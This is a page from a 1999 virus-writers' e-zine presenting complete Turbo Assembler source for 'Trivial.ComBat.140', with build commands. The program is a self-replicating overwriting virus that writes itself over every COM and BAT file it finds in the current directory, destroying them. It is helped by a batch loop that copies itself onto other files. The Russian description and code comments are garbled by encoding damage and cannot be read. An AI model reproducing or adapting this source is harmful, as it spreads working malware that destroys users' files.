- [Duke's Virus Labs #5] - [Page 15] -

Trivial.ComBat.140
(c) by Duke/SMF

     : Trivial.ComBat.140
         : Duke/SMF
 ண.   : Turbo Assembler
 ᮧ : 03.03.99

    諮   㡫  Trivial.ComBat.150.   
  १ ஬,  ⨫ ᪮쪮 筮⥩. 筥  -
⥩  ⨬樨:
   - ᯨ᮪ ᮪  ᪠  BAT   १ "; ",   
     ஡  筮
   -  ன ப BAT   ⮨ ᨬ "@",   
      ᫠  稭 ࢮ ப
   -  ࠩ  COM   ⥫쭮 ᮪ :)
    㤥 ⥫ 㤥 ᫮    ᨮ ;)
䨪ᥭ 室  । .

===== Cut here =====
; Trivial.ComBat.140 (c) by Duke/SMF
; ࠦ  BAT  COM-䠩  ⥪饩 ४ਨ.
;  : tasm combat.asm
;              tlink combat.obj /t /x


                .model  tiny
                .code
                org     100h
virus_length    equ     finish - start      ; 

start:                                      ;砫 
                db      ': '                ;㥬  BAT-䠩

                mov     ah,4Eh              ; ࢮ 䠩
                mov     dx,offset file_sp1  ;DX 㪠뢠  "*.com"
                call    writer              ;맮 ᪠

                mov     ah,4Eh              ; ࢮ 䠩
                mov     dx,offset file_sp2  ;DX 㪠뢠  "*.bat"
                call    writer              ;맮 ᪠

                mov     ax,4c01h            ; ࠡ
                int     21h

                db      '[Duke/SMF]'       ; 室 ࠩ !
;-------------------------------------------
writer          proc
infect:
                int     21h
                jnc     infect_file         ;᫨ 䠩 ,  ࠦ,
                ret                         ; ⨢ 砥 -  室

infect_file:
                mov     ax,3D01h            ;뢠 䠩  
                mov     dx,9Eh              ;DX 㪠뢠   䠩
                int     21h

                xchg    bx,ax               ;BX ᮤন 䠩 handle

                mov     ah,40h              ;㭪   䠩
                mov     cl,virus_length     ;CL = ᪮쪮  
                mov     dx,offset start     ;DX = 砫  
                int     21h

                mov     ah,3Eh              ;뢠 䠩
                int     21h

                mov     ah,4Fh              ; ᫥饣 䠩
                jmp     infect              ;室  ࠦ

                endp
;-------------------------------------------

file_sp1        db      '*.com',0           ;᪠ COM-䠩  ᪠
file_sp2        db      '*.bat',0           ;᪠ BAT-䠩  ᪠
batnic          db      13,10               ;BAT- 
                db      '@ctty nul',13,10
                db      'for %%g in (*.bat *.com) do copy %0 %%g',13,10
                db      'ctty con',13,10
finish:                                     ; 
                end     start
===== Cut here =====
